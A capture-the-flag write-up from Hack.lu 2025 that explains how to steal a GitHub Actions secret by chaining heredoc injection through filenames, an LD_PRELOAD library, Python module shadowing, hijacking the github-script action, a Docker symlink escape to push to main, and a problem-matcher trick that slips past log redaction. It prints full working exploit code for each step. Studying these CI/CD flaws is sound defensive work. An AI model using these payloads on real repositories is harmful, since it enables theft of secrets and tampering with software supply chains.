KONTINUERLIG: From Heredoc Injection to Secret Extraction via GitHub Actions - Hack.lu 2025


Introduction

KONTINUERLIG (Swedish for “continuous” - a nod to CI/CD) exploits a chain of GitHub Actions misconfigurations commonly found in production workflows. Presented at Hack.lu 2025, the challenge combines heredoc injection, LD_PRELOAD hijacking and artifact poisoning to achieve privilege escalation and extract repository secrets.

The setup appeared straightforward: a private GitHub repository with three workflow files and a single secret named flag. However, extracting that secret requires exploiting misconfigurations across the pipeline’s security boundaries.

Table of contents

  1. Introduction
  2. TL;DR
  3. Repository analysis
  4. Stage 1: Heredoc Injection & GITHUB_ENV Manipulation
    1. Anti-Pattern 1: pwn request
    2. GITHUB_ENV Persistence Mechanism
    3. Anti-Pattern 2: GITHUB_ENV
  5. Exploitation Technique
  6. Payload Components
    1. LD_PRELOAD Injection
    2. Artifact Manipulation
    3. Module Shadowing
    4. Complete Exploitation Sequence
  7. Stage 1: Heredoc Injection & ENV Manipulation
  8. Stage 2: Docker Build Privilege Escalation
    1. The prerelease.yml workflow
    2. Docker build context manipulation (symlink trick)
    3. Committing to Main Branch
    4. Triggering the prerelease Workflow
    5. Verification
  9. Stage 3: Extracting the flag
    1. The Secret Redaction Problem
    2. Problem Matchers: The Exploitation Vector
    3. Problem Matcher Structure
    4. Exploiting the Commit Message
    5. Updated Script

TL;DR

The challenge requires chaining three distinct vulnerabilities to extract a secret flag:

  • Heredoc Injection via Filenames - Exploit pull_request_target workflow by crafting malicious directory/file names that inject environment variables through bash heredoc parsing
  • Privilege Escalation via Docker Build - Manipulate Docker build context to commit malicious code to the main branch with elevated permissions
  • Secret Exfiltration via Problem Matchers - Bypass GitHub’s secret redaction mechanism using an obscure workflow feature that processes output before secrets are masked

Key Takeaway:

pull_request_target + heredoc injection + artifact poisoning = arbitrary code execution \

Repository analysis

The challenge repository contains:
terminal Figure 1: Tree view of the repo content

Three workflow files, a Dockerfile, and a README.

Let’s start with trying to understand the workflows. The flag secret is mentioned in the flag.yml file, indicating that this is our ultimate target - we need to somehow extract this secret. But there’s a catch: the workflow only executes when a pull request has the flag label attached to it.

jobs:
  flag:
    if: contains(github.event.pull_request.labels.*.name, 'flag')

Both flag.yml and prerelease.yml implement label-based access controls, requiring the flag and reviewed labels respectively to trigger execution.

The Challenge: Neither label exists in the repository, and our user account lacks the triage role required to create labels through GitHub’s interface. This represents a clear privilege boundary that we must somehow bypass.

The Approach: We need to identify a workflow that:

  1. Executes without label prerequisites
  2. Has sufficient permissions to create labels (pull-requests: write)
  3. Can be compromised to execute attacker-controlled code

The pr_check.yml workflow meets these criteria. It uses pull_request_target while checking out untrusted code from the PR branch - a known anti-pattern for privilege escalation.

Stage 1: Heredoc Injection & GITHUB_ENV Manipulation

Our entry point will be the pr_check.yml

pr_check.yml contents:

name: PR Check

on: pull_request_target

jobs:
  pre-check:
    if: "!contains(github.event.pull_request.labels.*.name, 'reviewed')"
    runs-on: ubuntu-24.04
    timeout-minutes: 1
    permissions:
      contents: read
    steps:
      - name: Checkout
        uses: actions/checkout@v5
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          fetch-depth: 0
      - name: Extract changed files
        run: |
          git diff --name-only ${{ github.event.pull_request.base.sha }} > /tmp/changed-files.txt
          echo "CHANGED_FILES<<EOF" >> $GITHUB_ENV
          cat /tmp/changed-files.txt >> $GITHUB_ENV
          echo "EOF" >> $GITHUB_ENV
      - name: Upload result
        if: ${{ env.CHANGED_FILES != '' }}
        uses: actions/upload-artifact@v4
        with:
          name: changed
          path: /tmp/changed-files.txt
          retention-days: 1
  comment:
    needs: pre-check
    runs-on: ubuntu-24.04
    timeout-minutes: 1
    permissions:
      pull-requests: write
    steps:
      - name: Download artifact
        uses: actions/download-artifact@v4
        with:
          name: changed
      - name: Convert to JSON
        run: |
          python3 -c 'import json; print("CHANGED=" + json.dumps(open("./changed-files.txt", "r").read().strip().splitlines()))' >> $GITHUB_ENV
      - name: Comment
        uses: actions/github-script@v7
        with:
          github-token: ${{ secrets.GITHUB_TOKEN }}
          script: |
            const changed = JSON.parse(process.env.CHANGED);
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: 'Files changed in this PR:\n' + changed.map(f => '- ' + f).join('\n'),
            });

The workflow trigger immediately reveals a security flaw - the use of pull_request_target. Unlike the standard pull_request trigger, pull_request_target executes in the context of the base repository with access to secrets and write permissions - essentially trusting the PR author before any review occurs.

Anti-Pattern 1: pwn request

GitHub Security Lab classifies this pattern as a “pwn request”: pull_request_target combined with untrusted code checkout grants write permissions to attacker-controlled code prior to security review. The configuration has been exploited in production CI/CD environments.

While we’ve identified that pull_request_target with untrusted checkout is dangerous, we still need an actual exploitation primitive. The pre-check job appears to only perform static analysis - it runs git diff to enumerate changed files and uploads them as an artifact. No obvious code execution occurs.

However, the workflow’s handling of filenames reveals an exploitable weakness:

- name: Extract changed files
  run: |
    git diff --name-only ${{ github.event.pull_request.base.sha }} > /tmp/changed-files.txt
    echo "CHANGED_FILES<> $GITHUB_ENV
    cat /tmp/changed-files.txt >> $GITHUB_ENV
    echo "EOF" >> $GITHUB_ENV

git diff --name-only outputs filenames without sanitization. Git’s permissive filename handling allows nearly arbitrary characters, including strings that have special meaning to bash - like EOF.

GITHUB_ENV Persistence Mechanism

The GITHUB_ENV variable references a file path where workflows can write environment variables that persist across subsequent steps in the same job. When a step writes VARIABLE=value to this file, all following steps in the job can access $VARIABLE. This is how GitHub Actions implements stateful environment variables in otherwise stateless containerized execution.

The workflow uses a heredoc to write the file list to GITHUB_ENV:

echo "CHANGED_FILES<> $GITHUB_ENV
cat /tmp/changed-files.txt >> $GITHUB_ENV
echo "EOF" >> $GITHUB_ENV

This creates a multi-line variable where content between <<EOF and EOF becomes the value. The shell treats this as literal text, not executable code - unless the delimiter can be injected prematurely.

When our crafted filename list contains EOF as a standalone line, the heredoc closes prematurely. Any content following this injected delimiter is parsed as new shell commands or environment variable assignments, not as part of the heredoc content.

The attack primitive: inject environment variable assignments that will be available to subsequent workflow steps.

Anti-Pattern 2: GITHUB_ENV

The heredoc implementation creates an injection vulnerability. GitHub’s CodeQL ruleset for Actions explicitly detects untrusted data flowing into GITHUB_ENV via heredocs, classifying it as critical. The pattern appears in production workflows despite automated scanning.

Exploitation Technique

To trigger the injection, we need git diff --name-only to output filenames in a specific sequence. Since git sorts output alphabetically, we can control ordering through filename selection:

AAAA                                    # Sorts first, consumed by heredoc
EOF                                     # Closes heredoc prematurely  
LD_PRELOAD=/path/to/payload             # Injected environment variable
ZZZ<<EOF                                # Opens new heredoc to consume remainder
[remaining files...]                    # Consumed by second heredoc

This structure causes the shell to interpret our crafted filenames as environment variable declarations rather than heredoc content.

Payload Components

With the heredoc injection mechanism established, we need to construct the actual exploitation payload. The environment variable injection alone is insufficient - we must bridge from the pre-check job (which has only contents: read permission) to the comment job (which has pull-requests: write).

The attack requires several interconnected components:

1. LD_PRELOAD Injection

The LD_PRELOAD environment variable forces Linux’s dynamic linker to load a specified shared library before any other libraries. When the comment job executes Python, our malicious library loads first, granting pre-execution code injection.

We need:

main.c - Source code for the shared library with a constructor function lib.so - The compiled library, placed at the path specified in LD_PRELOAD

2. Artifact Manipulation

The pre-check job uploads an artifact that the comment job downloads. By manipulating the INPUT_PATH environment variable (which controls the upload-artifact action’s input), we can replace the legitimate artifact with our payload.

3. Module Shadowing

The comment job executes import json in Python. By uploading a file named json.py as the artifact, we exploit Python’s import resolution order - our module loads instead of the standard library, granting code execution with pull-requests: write permission.

The complete repository structure becomes:

.
├── AAAA                         # Heredoc content placeholder
├── EOF                          # Closes heredoc prematurely
├── LD_PRELOAD=                  # Directory injection
   └── home/runner/work/KONTINUERLIG-wojtekctf/KONTINUERLIG-wojtekctf/
       └── lib.so               # Malicious shared library
├── ZZZ<<EOF                     # Reopens heredoc
├── main.c                       # Library source code
├── lib.so                       # Copy in repository root
├── init.py                      # Executed by lib.so
└── json.py                      # Fake module for import shadowing

Exploitation Sequence

Stage 1 (pre-check job):

  1. Heredoc injection sets LD_PRELOAD
  2. Our lib.so loads, executes init.py
  3. INPUT_PATH redirected to our json.py
  4. Python imports our fake json module
  5. Our json.py overwrites the github-script action’s JavaScript file
  6. Artifact gets uploaded (with our modified action code)

Stage 2 (comment job):

  1. Downloads artifact (receives our json.py)
  2. Python command runs: import json
  3. Python imports our fake json.py from current directory
  4. Our json.py immediately overwrites the github-script action’s index.js file
  5. Workflow runs actions/github-script@v7
  6. Action loads the modified index.js and executes our JavaScript code to create labels
  7. Our JavaScript has GITHUB_TOKEN with elevated permissions
  8. JavaScript executes gh commands to create flag and reviewed labels in the repo

Implementation Details

The heredoc injection provides our entry point, but we still need to bridge from environment variable injection to code execution. The solution leverages LD_PRELOAD - a Linux mechanism that forces the dynamic linker to load specified libraries before any others.

Our repository structure causes git to output the path LD_PRELOAD=/home/runner/.../lib.so, which bash interprets as an environment variable assignment. When the comment job later executes Python, the system loads our library first, granting pre-execution code injection.

The shared library implementation main.c:

⚠️ Architecture Compatibility Note
Since I’m compiling on an ARM-based system (Apple Silicon / ARM Kali Linux), while GitHub Actions uses x86_64 runners (ubuntu-24.04), I need to cross-compile to ensure binary compatibility.

/*
 * main.c - LD_PRELOAD Shared Library for GitHub Actions exploitation
 * 
 * This library hijacks the artifact upload process by:
 * 1. Forking to execute a Python payload with filtered environment
 * 2. Redirecting INPUT_PATH to our malicious json module
 * 
 * Compile: gcc -fPIC -shared -o lib.so main.c
 * x86_64-linux-gnu-gcc -fPIC -shared -o lib.so main.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

void __attribute__((constructor)) initialize_exploit() {
    pid_t pid = fork();
    
    if (pid == 0) {
        // Child: execute payload with clean environment
        extern char **environ;
        
        int count = 0;
        while (environ[count] != NULL) {
            count++;
        }
        
        char **env = malloc((count + 1) * sizeof(char *));
        if (env == NULL) {
            _exit(1);
        }
        
        // Filter out LD_PRELOAD to prevent recursion
        int j = 0;
        for (int i = 0; i < count; i++) {
            if (strncmp(environ[i], "LD_PRELOAD=", 11) != 0) {
                env[j++] = environ[i];
            }
        }
        env[j] = NULL;
        
        char *args[] = {"/usr/bin/python3", "init.py", NULL};
        execve(args[0], args, env);
        
        // execve only returns on error
        free(env);
        _exit(127);
        
    } else if (pid > 0) {
        // Parent: wait for payload and redirect artifact path
        int status;
        waitpid(pid, &status, 0);
    }
    
    // Redirect artifact upload to our malicious module
    setenv("INPUT_PATH",
           "/home/runner/work/KONTINUERLIG-wojtekctf/KONTINUERLIG-wojtekctf/json.py",
           1);
}

The code above executes the init.py script when the actions/upload-artifact action starts in the pre-check job. As Node.js initializes, the dynamic linker loads our library, triggering the constructor and executing the payload.

The constructor manipulates GitHub Actions’ input mechanism. Actions receive parameters through INPUT_* environment variables—in this case, INPUT_PATH specifies which file to upload. By redirecting this to json.py, we replace the legitimate artifact with our malicious module.

init.py contents:

#!/usr/bin/env python3
import os
print("[*] LD_PRELOAD hijack successful")

The comment job’s “Convert to JSON” step executes import json to process the downloaded artifact. Since Python’s import resolution prioritizes the current directory over system libraries, it loads our json.py instead of the standard library. This grants code execution with pull-requests: write permission.

json.py contents:

#!/usr/bin/env python3
"""
Shadow json module - replaces the real json during artifact upload.
Injects malicious JavaScript into the github-script action.
"""

# Mark exploitation state
with open("changed-files.txt", "w") as f:
    f.write("exploit chain active\n")

# Hijack github-script action
with open("/home/runner/work/_actions/actions/github-script/v7/dist/index.js", "w") as f:
    f.write("""
process.env.GH_TOKEN = process.env['INPUT_GITHUB-TOKEN'];

const { execSync } = require('child_process');

const inject = (label, color) => {
    try {
        execSync(`gh label create ${label} --repo wojtekctf/KONTINUERLIG-wojtekctf --color "${color}"`, { encoding: 'utf-8' });
        console.log(`→ ${label}: injected`);
    } catch {
        console.log(`→ ${label}: exists`);
    }
};

inject('flag', '0075ca');
inject('reviewed', '5319e7');

console.log('→ payload delivered');
""")

# Mimic real json module
def dumps(obj, **kwargs):
    return '[]'

def loads(data, **kwargs):
    return []

The module performs two operations: it overwrites the github-script action’s JavaScript with code that creates labels using elevated GITHUB_TOKEN permissions, then mimics the real json module’s interface to prevent workflow errors. When the workflow executes actions/github-script@v7, our injected JavaScript runs with repository write access.

Now time to do the PR and see the results.

The heredoc injection successfully sets LD_PRELOAD, and our library loads during the artifact upload step: LD_PRELOAD hijack Figure 2: Pre-check job output showing successful LD_PRELOAD hijack and init.py execution

With pull-requests: write permission, the hijacked github-script action creates both required labels:

Figure 3

The labels now exist in the repository, bypassing the privilege boundary: Figure 4

Stage 2: Docker Build Privilege Escalation

With the reviewed label created in Stage 1, we can now trigger the prerelease.yml workflow, which provides a path to modify the main branch - a prerequisite for exploiting flag.yml.

The prerelase.yml workflow:

name: Prerelease

on: pull_request_target

jobs:
  prerelease:
    if: contains(github.event.pull_request.labels.*.name, 'reviewed')
    runs-on: ubuntu-24.04
    timeout-minutes: 1
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v5
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Test build
        run: |
          # Isolate the build in Docker
          docker build ./docker/
          echo 'Build succeeded!'
      - name: Release
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh release create --prerelease --generate-notes rel-${{ github.event.pull_request.head.sha }}-pre

The workflow’s contents: write permission grants the GITHUB_TOKEN push access to the repository. The objective is to leverage the Docker build step to commit modified code to the main branch.

The workflow executes docker build ./docker/, restricting the build context to the docker/ directory. This prevents access to:

  • The .git/ directory containing the authenticated GITHUB_TOKEN
  • Files outside the docker/ directory
  • The repository root needed for git operations

Our Dockerfile looks like this:

FROM alpine
RUN echo "You'll need to assemble the build yourself"

The solution: create a symbolic link redirecting docker/ to the repository root:

ln -s . docker

When the workflow runs docker build ./docker/, Docker follows the symlink and builds from the entire repository, granting access to .git/ and all repository files.

Replace the original Dockerfile with:

FROM alpine

# Install dependencies
RUN apk add --no-cache git python3

# Copy repository (accessible via symlink)
COPY . /repo

# Execute commit script
RUN python3 /repo/commit_main.py

Implementation in Codespaces

Due to repository access restrictions, we used GitHub Codespaces to create the necessary files and symlink. The exploit branch required three key components: the symlink, the Dockerfile, and the commit script.

GitHub Codespaces terminal showing file creation Figure 5

With the symlink in place, the Dockerfile and commit script were created in the repository root.

Committing to Main Branch

The commit_main.py script leverages the authenticated .git/ directory to push changes:

import os

# Copy repository to temporary directory
os.system("cp -r /repo /tmp/workspace")

# Configure git identity
os.system("cd /tmp/workspace && git config --global user.name 'w0j73k' && git config --global user.email 'w0j73k@w0j73k.com'")

# Switch to main branch
os.system("cd /tmp/workspace && git fetch && git switch main")

# Create test file as proof of concept
with open("/tmp/workspace/test.txt", "w") as f:
    f.write("Stage 2 exploitation successful\n")

# Commit and push to main
os.system("cd /tmp/workspace && git add test.txt && git commit -m 'Update configuration' && git push origin main")

The script executes within the Docker container, using the GITHUB_TOKEN stored in .git/config to authenticate the push to main.

Key implementation details:

  1. Repository Copying: The script copies /repo to /tmp/workspace to create a clean working directory while preserving the authenticated .git/ directory.
  2. Git Configuration: Setting user.name and user.email is required for git commits. These values are purely cosmetic metadata and do not affect authentication.
  3. Branch Switching: The git fetch && git switch main commands retrieve the latest main branch state and switch to it, enabling modifications to the protected branch.
  4. Authentication Mechanism: The GITHUB_TOKEN with contents: write permission is automatically embedded in /repo/.git/config by the actions/checkout@v5 step. When git executes push, it reads this token from the config file, bypassing normal branch protection.
  5. Proof of Concept: The test.txt file serves as verification that we can successfully write to the main branch. This confirms the privilege escalation before attempting to extract secrets.

Triggering the prerelease Workflow

After committing all files to the exploit branch, we created a pull request targeting main and applied the reviewed label. This triggered the prerelease.yml workflow, which executed the Docker build with our modified files.

Prerelease workflow execution in Actions tab Figure 6: The prerelease workflow successfully triggered and executing the Docker build step

The worfklow logs confirmed successful execution: Prerelease workflow details Figure 7: Logs from the execution of the Docker build step

Verification

The push succeeded, and test.txt appeared on the main branch with the commit message “Update configuration” attributed to w0j73k. This confirmed that:

  • The symlink successfully redirected Docker’s build context
  • The .git/ directory was accessible inside the container
  • The GITHUB_TOKEN had sufficient permissions to push to main
  • We achieved arbitrary code execution in the context of the main branch

Listing files in the main branch Verifying test.txt on main branch in Codespaces Figure 8: Codespaces terminal showing test.txt successfully present on the main branch after pulling latest changes

With main branch write access established, we can now proceed to extract the flag secret.

Stage 3: Extracting the flag

With write access to the main branch established, we can now target the flag.yml workflow, which contains the challenge flag:

name: Get Flag

on: pull_request_target

jobs:
  flag:
    if: contains(github.event.pull_request.labels.*.name, 'flag')
    runs-on: ubuntu-24.04
    timeout-minutes: 1
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v5
      - name: Message
        run: |
          echo "Your last words before not getting the flag:"
          git show -1 -s --format=%s
      - name: Flag
        env:
          FLAG: ${{ secrets.FLAG }}
        run: echo "$FLAG"

The workflow triggers on pull requests labeled with flag and prints the secret to stdout. However, GitHub Actions automatically redacts secrets in workflow logs, displaying *** instead of the actual value. Simply triggering the workflow would not reveal the flag.

The Secret Redaction Problem

GitHub Actions employs a security mechanism that scans all workflow output for registered secrets and replaces them with asterisks before displaying logs. This means that even though the flag is echoed in the workflow, we would only see:

Run echo "$FLAG"
***

To extract the flag, we need a technique that captures the secret before GitHub’s redaction mechanism processes it.

Problem Matchers: The Exploitation Vector

GitHub Actions Problem Matchers are a feature designed to parse build output and highlight errors or warnings. They operate by applying regular expressions to workflow output and displaying matches in the Actions summary interface.

The critical detail: Problem Matchers execute before secret redaction in the workflow lifecycle. By examining the GitHub Actions Runner source code, we can confirm that Issue Matchers (the internal name for Problem Matchers) are applied to output before the secret masking step.

This timing creates an exploitation opportunity: if we register a Problem Matcher with a regex pattern matching the flag format, we can capture the secret before redaction occurs.

Problem Matcher Structure

Problem Matchers are defined in JSON format:

{
  "problemMatcher": [
    {
      "owner": "matcher-name",
      "pattern": [
        {
          "regexp": "^pattern$",
          "message": 1
        }
      ]
    }
  ]
}

The regexp field defines the pattern to match, and message specifies which capture group to display. Problem Matchers are activated using workflow commands—special strings in output that GitHub Actions interprets as instructions:

::add-matcher::path/to/matcher.json

When this string appears in workflow output, GitHub Actions loads and activates the specified matcher file.

Exploiting the Commit Message

The flag.yml workflow includes a step that displays the latest commit message from the main branch:

- name: Message
  run: |
    echo "Your last words before not getting the flag:"
    git show -1 -s --format=%s

Since the workflow checks out main (not the PR branch), it will echo the most recent commit message on main. If we commit to main with the message ::add-matcher::matcher.json, the workflow will interpret this as a command and load our Problem Matcher before printing the flag.

Updated Script

We modify commit_main.py to create a Problem Matcher that captures the flag{...} format and commit with a message that activates it:

import os

os.system("cp -r /repo /tmp/workspace")
os.system("cd /tmp/workspace && git config --global user.name 'w0j73k' && git config --global user.email 'w0j73k@w0j73k.com'")
os.system("cd /tmp/workspace && git fetch && git switch main")

# Create problem matcher for flag{...} format
with open("/tmp/workspace/matcher.json", "w") as f:
    f.write("""{
  "problemMatcher": [
    {
      "owner": "flag-extractor",
      "pattern": [
        {
          "regexp": "^flag\\\\{(.*)\\\\}$",
          "message": 1
        }
      ]
    }
  ]
}""")

# Commit with workflow command in message
os.system("cd /tmp/workspace && git add matcher.json && git commit -m '::add-matcher::matcher.json' && git push origin main")

The regex pattern ^flag\\{(.*)\\}$ matches the flag format and captures the contents within the braces. The commit message ::add-matcher::matcher.json will be executed as a workflow command when displayed by flag.yml.

Execution Flow

The complete exploitation proceeds as follows:

  1. Update commit_main.py in the exploit branch with the Problem Matcher code
  2. Commit and push to the exploit branch
  3. Trigger prerelease.yml by re-applying the reviewed label to the existing PR
  4. The Docker build executes the updated script, pushing matcher.json to main with the special commit message
  5. Verify matcher.json exists on main with commit message ::add-matcher::matcher.json
  6. Create a new pull request from exploit to main
  7. Apply the flag label to trigger flag.yml
  8. The workflow displays the commit message, activating the Problem Matcher
  9. The flag is echoed, and the matcher captures it before redaction

Triggering Flag Extraction

After updating and pushing the exploit branch, we removed and re-added the reviewed label to trigger prerelease.yml again. The workflow executed successfully.

We then created a new pull request and applied the flag label, triggering the flag.yml workflow: Triggering the flag workflow Figure 9: Flag workflow triggered

We also see the matcher.json in the main branch: matcher.json created Figure 9: matcher.json created in the main branch

The Problem Matcher captured the flag before GitHub’s redaction mechanism could process it, allowing the secret to be captured in plaintext and completely bypassing the intended security protection


References: